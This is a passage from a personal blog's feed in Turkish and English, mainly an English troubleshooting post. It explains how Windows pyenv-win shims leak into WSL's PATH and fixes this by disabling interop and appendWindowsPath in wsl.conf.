&lt;p&gt;OpenSSL 3.x s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; kurdu&amp;gbreve;umdaki o rahatlama gibi, &lt;code&gt;act&lt;/code&gt;'i d&amp;uuml;zg&amp;uuml;nce konfig&amp;uuml;re edince gelen huzur bamba&amp;scedil;ka. Art&amp;inodot;k projenizi pushlamadan &amp;ouml;nce yerelde her &amp;scedil;eyin "Ye&amp;scedil;il" yand&amp;inodot;&amp;gbreve;&amp;inodot;ndan emin olabilirsiniz. 🚀&lt;/p&gt;
&lt;p&gt;Yani bazen &amp;ccedil;&amp;ouml;z&amp;uuml;m, buluta g&amp;uuml;venmek de&amp;gbreve;il, o g&amp;uuml;c&amp;uuml; kendi bilgisayar&amp;inodot;na indirmekmi&amp;scedil;. &amp;Scedil;imdi gidip o yar&amp;inodot;m kalan workflow'lar&amp;inodot;n&amp;inodot;z&amp;inodot; yerelde bir tokatlay&amp;inodot;n bakal&amp;inodot;m! 😎&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="ilgili-yazlar"&gt;&amp;Idot;lgili Yaz&amp;inodot;lar:&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/github-commit-atma-rehberi/"&gt;GitHub Commit Atma Rehberi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-docker-kurulumu/"&gt;Arch Linux Docker Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/git-ssh-key-olusturma/"&gt;Git SSH Key Olu&amp;scedil;turma&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Nektos act projesinin orijinal dok&amp;uuml;manlar&amp;inodot;na &lt;a href="https://nektosact.com/usage/index.html" rel="noopener noreferrer" target="_blank"&gt;buradan&lt;/a&gt; ula&amp;scedil;abilirsiniz.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;E&amp;gbreve;er konteyner i&amp;ccedil;inde "Permission Denied" hatas&amp;inodot; al&amp;inodot;yorsan&amp;inodot;z, docker grubuna dahil olup olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z&amp;inodot; kontrol edin.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="github actions"/><category term="act"/><category term="docker"/><category term="devops"/><category term="git"/></entry><entry><title>Solving the pyenv-win Conflict and PATH Chaos in WSL</title><link href="https://yuceltoluyag.github.io/en/wsl-pyenv-cakisma-cozumu/" rel="alternate"/><published>2026-05-04T18:40:00+03:00</published><updated>2026-05-04T18:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-04:/en/wsl-pyenv-cakisma-cozumu/</id><summary type="html">&lt;p&gt;I disabled the Windows pyenv-win PATH conflict that broke the Python environment in WSL and set up a clean, isolated Linux dev setup.&lt;/p&gt;</summary><content type="html">&lt;h2 id="the-why-is-python-broken-again-moment"&gt;The "Why is Python broken again?" moment&lt;a class="headerlink" href="#the-why-is-python-broken-again-moment" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let me say this right from the start: at first glance, this error looks like "Python is broken," but it's not. Here's what actually happens: you run &lt;code&gt;python&lt;/code&gt; inside WSL, and it throws this at you:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/mnt/c/Users/user/.pyenv/pyenv-win/shims/python
bad&lt;span class="w"&gt; &lt;/span&gt;interpreter:&lt;span class="w"&gt; &lt;/span&gt;/bin/sh^M
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And your first thought is: &lt;em&gt;"What did I do now?"&lt;/em&gt; First reaction: What happened to Python? Second reaction: Did I break my &lt;code&gt;.zshrc&lt;/code&gt;? Third reaction: Should I throw the computer at the wall? I went through exactly that order. And finally, I realized that the issue had nothing to do with Python; it was entirely a &lt;strong&gt;PATH conflict&lt;/strong&gt;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="wsl-interop-the-silent-killer"&gt;WSL Interop: The Silent Killer&lt;a class="headerlink" href="#wsl-interop-the-silent-killer" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I need to get a bit technical here, but don't worry, I'll explain. WSL has an "interop" mechanism with Windows. This mechanism allows you to run Windows applications from within WSL &amp;mdash; for example, typing &lt;code&gt;explorer.exe .&lt;/code&gt; opens the file manager, and &lt;code&gt;notepad.exe&lt;/code&gt; opens Notepad. It's a nice feature. But there's a problem. This interop mechanism silently pulls the Windows PATH into WSL as well. This means everything installed on Windows &amp;mdash; Python, Node.js, Java, you name it &amp;mdash; leaks into WSL's PATH. Look at what Microsoft's own documentation says: &lt;a href="https://learn.microsoft.com/en-us/windows/wsl/wsl-config#global-configuration-options-with-wslconfig" rel="noopener noreferrer" target="_blank"&gt;WSL Global Configuration Options&lt;/a&gt; There's a setting called &lt;code&gt;appendWindowsPath&lt;/code&gt;. By default, it's &lt;code&gt;true&lt;/code&gt;. So the Windows PATH is automatically added. When you read it, you think, "Okay, this is optional, leave it alone." Then you look at your system, and it's half Windows, half Linux. Sounds like a great hybrid, right? No. It's not.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="my-experience-debugging-log"&gt;My Experience: Debugging Log&lt;a class="headerlink" href="#my-experience-debugging-log" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, I tinkered with &lt;code&gt;.zshrc&lt;/code&gt;. I examined the PATH lines one by one. They were clean. I checked &lt;code&gt;.profile&lt;/code&gt;. Clean as well. I ran &lt;code&gt;printenv | grep -i pyenv&lt;/code&gt;. Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;...:/mnt/c/Users/user/.pyenv/pyenv-win/bin:...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That's where I saw it. Pyenv isn't installed on the Linux side, but &lt;code&gt;pyenv-win&lt;/code&gt; on Windows leaked into WSL's PATH. In case you don't know how pyenv-win works, let me briefly explain: it's a tool that manages Python versions on Windows. It creates fake python executors in its own &lt;code&gt;shims&lt;/code&gt; folder. When WSL sees these shims, it says, "Ah, okay, Python is here," but those shims are written for Windows. Then comes the &lt;code&gt;bad interpreter: /bin/sh^M&lt;/code&gt; error. Did you see the &lt;code&gt;^M&lt;/code&gt;? That's the Windows line-ending character (&lt;code&gt;\r\n&lt;/code&gt;). Linux requires &lt;code&gt;\n&lt;/code&gt;. So the file coming from Windows cannot be read by Linux.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="how-does-interop-work-technical-detail"&gt;How Does Interop Work? (Technical Detail)&lt;a class="headerlink" href="#how-does-interop-work-technical-detail" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's dive a bit deeper. When WSL starts, it works in this order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The Linux kernel loads.&lt;/li&gt;
&lt;li&gt;The init process begins.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/wsl.conf&lt;/code&gt; and &lt;code&gt;%UserProfile%\.wslconfig&lt;/code&gt; are read.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;enabled=true&lt;/code&gt;, information is pulled from Windows.&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;appendWindowsPath=true&lt;/code&gt;, the Windows PATH is added to the Linux PATH.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;During this process, the &lt;code&gt;pyenv-win&lt;/code&gt; folder on the Windows side ends up in the PATH. And the bash in Linux tries to run the shims files in that folder. Result: &lt;code&gt;bad interpreter&lt;/code&gt; error. &lt;a href="https://stackoverflow.com/questions/75883177/installing-pyenv-win-on-top-of-working-wsl2-ubuntu-instance-breaks-ubuntu-pyenv" rel="noopener noreferrer" target="_blank"&gt;There are people on StackOverflow experiencing the same error&lt;/a&gt;. Everyone there says the same thing: "Windows installs pyenv, it leaks into WSL, Python breaks."&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-solution-step-by-step-isolation"&gt;The Solution: Step-by-Step Isolation&lt;a class="headerlink" href="#the-solution-step-by-step-isolation" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I applied the simplest but most drastic solution. I completely isolated WSL from Windows.&lt;/p&gt;
&lt;h3 id="step-1-find-or-create-the-wslconf-file"&gt;Step 1: Find or Create the wsl.conf File&lt;a class="headerlink" href="#step-1-find-or-create-the-wslconf-file" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Open a terminal in WSL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/wsl.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It's okay if the file doesn't exist; nano will create it anyway.&lt;/p&gt;
&lt;h3 id="step-2-change-interop-settings"&gt;Step 2: Change Interop Settings&lt;a class="headerlink" href="#step-2-change-interop-settings" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Write the following inside the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[interop]&lt;/span&gt;
&lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;span class="na"&gt;appendWindowsPath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;What do these two lines do?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enabled=false&lt;/code&gt;: Disables running Windows applications from within WSL.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;appendWindowsPath=false&lt;/code&gt;: Prevents the Windows PATH from leaking into WSL.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Save it: &lt;code&gt;Ctrl+X&lt;/code&gt;, then &lt;code&gt;Y&lt;/code&gt;, then &lt;code&gt;Enter&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="step-3-restart-wsl"&gt;Step 3: Restart WSL&lt;a class="headerlink" href="#step-3-restart-wsl" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Exit the terminal and in PowerShell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;wsl&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-shutdown&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then open WSL again. Without this command, the changes will not take effect.&lt;/p&gt;
&lt;h3 id="step-4-verification"&gt;Step 4: Verification&lt;a class="headerlink" href="#step-4-verification" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Enter WSL again and check:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You should no longer see Windows PATHs starting with &lt;code&gt;/mnt/c/...&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python&lt;span class="w"&gt; &lt;/span&gt;--version
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If it doesn't find Python &amp;mdash; that's normal. You need to install Python on the Linux side. But at least there's no more broken Python leaking from Windows.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="comparison-interop-enabled-vs-disabled_1"&gt;Comparison: Interop Enabled vs. Disabled&lt;a class="headerlink" href="#comparison-interop-enabled-vs-disabled" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Think about it before doing this. There are advantages and disadvantages to disabling interop:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Interop Enabled&lt;/th&gt;
&lt;th&gt;Interop Disabled&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Windows Apps&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Run from WSL&lt;/td&gt;
&lt;td&gt;Do not run&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PATH Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Risky &amp;mdash; Windows can leak&lt;/td&gt;
&lt;td&gt;Secure &amp;mdash; full isolation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Performance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Slightly slower (Windows PATH scan)&lt;/td&gt;
&lt;td&gt;Faster&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File Access&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/mnt/c/&lt;/code&gt; works&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/mnt/c/&lt;/code&gt; still works&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VS Code Integration&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;code .&lt;/code&gt; works&lt;/td&gt;
&lt;td&gt;You need to connect manually&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Python/Node Security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Can get mixed up&lt;/td&gt;
&lt;td&gt;Entirely under Linux control&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="side-effects-small-but-important"&gt;Side Effects (Small But Important)&lt;a class="headerlink" href="#side-effects-small-but-important" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After doing this, I noticed that WSL no longer acts like a "Windows + Linux hybrid environment" but more like a small Linux VM. And to be honest&amp;hellip; I liked it better this way. But some things changed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;explorer.exe .&lt;/code&gt; no longer works. You can use &lt;code&gt;wslview .&lt;/code&gt; instead (requires the &lt;code&gt;wslu&lt;/code&gt; package).&lt;/li&gt;
&lt;li&gt;You cannot call &lt;code&gt;.exe&lt;/code&gt; files from Windows. But why would you want to, anyway?&lt;/li&gt;
&lt;li&gt;Docker Desktop WSL backend might be affected. If you use Docker, research how Docker works with WSL before making this setting.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="frequently-asked-questions"&gt;Frequently Asked Questions&lt;a class="headerlink" href="#frequently-asked-questions" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="vs-code-doesnt-work-after-setting-appendwindowspathfalse"&gt;"VS Code doesn't work after setting appendWindowsPath=false"&lt;a class="headerlink" href="#vs-code-doesnt-work-after-setting-appendwindowspathfalse" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The VS Code WSL extension (Remote - WSL) already connects to WSL over SSH. It works even if interop is disabled. Only the &lt;code&gt;code .&lt;/code&gt; command doesn't work. Solution: Open VS Code from Windows, click the "&amp;gt;&amp;lt;" icon in the bottom left, and select "Connect to WSL."&lt;/p&gt;
&lt;h3 id="is-wsl-shutdown-required"&gt;"Is wsl --shutdown required?"&lt;a class="headerlink" href="#is-wsl-shutdown-required" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Yes. &lt;code&gt;wsl.conf&lt;/code&gt; changes only take effect when WSL is restarted. &lt;code&gt;wsl --shutdown&lt;/code&gt; closes all WSL instances. Then typing &lt;code&gt;wsl&lt;/code&gt; again opens it with the new settings.&lt;/p&gt;
&lt;h3 id="is-the-same-true-for-different-distributions"&gt;"Is the same true for different distributions?"&lt;a class="headerlink" href="#is-the-same-true-for-different-distributions" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Yes. Ubuntu, Debian, Fedora, Arch &amp;mdash; regardless of which WSL distribution you use, &lt;code&gt;/etc/wsl.conf&lt;/code&gt; works the same way. But you may need to edit it separately for each distribution.&lt;/p&gt;
&lt;h3 id="will-docker-desktop-be-affected"&gt;"Will Docker Desktop be affected?"&lt;a class="headerlink" href="#will-docker-desktop-be-affected" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you are using Docker Desktop with the WSL backend, yes, it could be affected. Docker has its own WSL instance (&lt;code&gt;docker-desktop&lt;/code&gt;). You might need to edit its &lt;code&gt;/etc/wsl.conf&lt;/code&gt; separately. Or just isolate your development WSL instance and leave Docker alone.&lt;/p&gt;
&lt;h3 id="how-do-i-install-python-now"&gt;"How do I install Python now?"&lt;a class="headerlink" href="#how-do-i-install-python-now" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Inside WSL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;python3&lt;span class="w"&gt; &lt;/span&gt;python3-pip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you want multiple Python versions, install them with the Linux version of pyenv, as I explained in my &lt;a href="/en/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank"&gt;Linux GPU driver guide&lt;/a&gt;, not with system packages. But this time only your Linux pyenv will work, and there will be no shims leaking from Windows.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="why-isnt-appendwindowspathfalse-enough_1"&gt;Why Isn't "appendWindowsPath=false" Enough?&lt;a class="headerlink" href="#why-isnt-appendwindowspathfalse-enough" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You might ask, "Wait, isn't it enough to just block the PATH?" No. Because while interop is on, some things coming from Windows can still cause problems. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.bat&lt;/code&gt; and &lt;code&gt;.cmd&lt;/code&gt; files in Windows can be called from WSL.&lt;/li&gt;
&lt;li&gt;Windows environment variables (like &lt;code&gt;%APPDATA%&lt;/code&gt;) can leak into WSL.&lt;/li&gt;
&lt;li&gt;Some tools (especially Java, .NET) try to use paths coming from Windows.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I preferred total isolation. You can try a lighter solution by just setting &lt;code&gt;appendWindowsPath=false&lt;/code&gt;. But in my experience, half-solutions tend to cause headaches later.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="alternative-solution-removing-only-specific-paths"&gt;Alternative Solution: Removing Only Specific PATHs&lt;a class="headerlink" href="#alternative-solution-removing-only-specific-paths" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you don't want to disable interop completely, you can remove only the problematic PATHs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Add to .zshrc or .bashrc to run automatically when WSL opens:&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/:$//'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This command removes all &lt;code&gt;/mnt/c/...&lt;/code&gt; paths from the PATH. But this is a temporary solution &amp;mdash; you need to run it in every WSL session.&lt;/p&gt;
&lt;p&gt;I chose the permanent solution: I solved it at the root with &lt;code&gt;wsl.conf&lt;/code&gt;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion-lets-be-honest"&gt;Conclusion (Let's Be Honest)&lt;a class="headerlink" href="#conclusion-lets-be-honest" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I think the real lesson here is this: if you use WSL as "Linux attached to Windows," at some point, Windows infects everything. This is true not just for pyenv but for everything. Node.js, Java, Ruby, Go &amp;mdash; any tool installed on Windows can leak into WSL's PATH. I eventually did this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I cut the Windows PATH.&lt;/li&gt;
&lt;li&gt;I disabled interop.&lt;/li&gt;
&lt;li&gt;I isolated the system.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And strangely enough&amp;hellip; everything was fixed 😄 WSL is a great tool, but you either use it like Linux or you get lost in the Windows mess. I left the second way and moved to the first. And I'm glad I did. If you've run into a similar pyenv dead end on the Windows side, my guide on &lt;a href="/en/powershell-pyenv-win-kurulum-hatasi-cozumu/"&gt;Powershell pyenv-win Installation Error Solution&lt;/a&gt; is exactly what you need!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;A small confession: When I first solved this, I was quite in the mode of 'why did Python become my enemy?' It turns out it wasn't Python; it was the environment. I learned about this thing called interop that day. And I've been using WSL isolated ever since.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts"&gt;Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/powershell-pyenv-win-kurulum-hatasi-cozumu/"&gt;Powershell pyenv-win Installation Error Solution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank"&gt;Linux GPU Driver Guide: Stable and Clean Installation for AMD, Intel, and Nvidia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/" rel="noopener noreferrer" target="_blank"&gt;How to Enable ntsync on Arch Linux?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/vivaldi-doh-dns-over-https-ayari/" rel="noopener noreferrer" target="_blank"&gt;How to Configure DoH in Vivaldi?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/proxmox-zfs-home-assistant/" rel="noopener noreferrer" target="_blank"&gt;Home Assistant Installation on Proxmox + ZFS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;code&gt;appendWindowsPath=false&lt;/code&gt; only affects the PATH, not the file system. &lt;code&gt;/mnt/c/&lt;/code&gt; is still accessible.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;You can connect with VS Code's Remote - WSL extension; it doesn't require interop.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="wsl"/><category term="pyenv"/><category term="windows"/><category term="linux"/><category term="path"/><category term="python"/></entry><entry><title>WSL'de pyenv-win Çakışması ve PATH Kaosu Nasıl Çözüldü</title><link href="https://yuceltoluyag.github.io/wsl-pyenv-cakisma-cozumu/" rel="alternate"/><published>2026-05-04T18:40:00+03:00</published><updated>2026-05-04T18:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-04:/wsl-pyenv-cakisma-cozumu/</id><summary type="html">&lt;p&gt;WSL içinde Windows pyenv-win PATH çakışması yüzünden bozulan python ortamını kapattım, sistemi izole ederek temiz bir Linux dev setup kurdum.&lt;/p&gt;</summary><content type="html">&lt;h2 id="neden-python-bozuldu-ya-an"&gt;"neden python bozuldu ya?" an&amp;inodot;&lt;a class="headerlink" href="#neden-python-bozuldu-ya-an" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;unu en ba&amp;scedil;tan s&amp;ouml;yleyeyim: bu hata ilk bak&amp;inodot;&amp;scedil;ta "python bozulmu&amp;scedil;" gibi duruyor ama de&amp;gbreve;il. As&amp;inodot;l olay &amp;scedil;u: WSL i&amp;ccedil;inde &lt;code&gt;python&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;yorsun ve sana &amp;scedil;unu f&amp;inodot;rlat&amp;inodot;yor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/mnt/c/Users/baba/.pyenv/pyenv-win/shims/python
bad&lt;span class="w"&gt; &lt;/span&gt;interpreter:&lt;span class="w"&gt; &lt;/span&gt;/bin/sh^M
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ve insan&amp;inodot;n akl&amp;inodot;na direkt &amp;scedil;u geliyor: &lt;em&gt;"ben ne yapt&amp;inodot;m ya?"&lt;/em&gt; &amp;Idot;lk tepki: python'a ne oldu? &amp;Idot;kinci tepki: &lt;code&gt;.zshrc&lt;/code&gt;'yi bozdum mu? &amp;Uuml;&amp;ccedil;&amp;uuml;nc&amp;uuml; tepki: bilgisayar&amp;inodot; duvara f&amp;inodot;rlatay&amp;inodot;m m&amp;inodot;? Ben de tam bu s&amp;inodot;rayla gittim. Ve sonunda olay&amp;inodot;n python'la alakas&amp;inodot; olmad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;, tamamen bir &lt;strong&gt;PATH &amp;ccedil;ak&amp;inodot;&amp;scedil;mas&amp;inodot;&lt;/strong&gt; oldu&amp;gbreve;unu fark ettim.&lt;/p&gt;
&lt;hr/&gt;
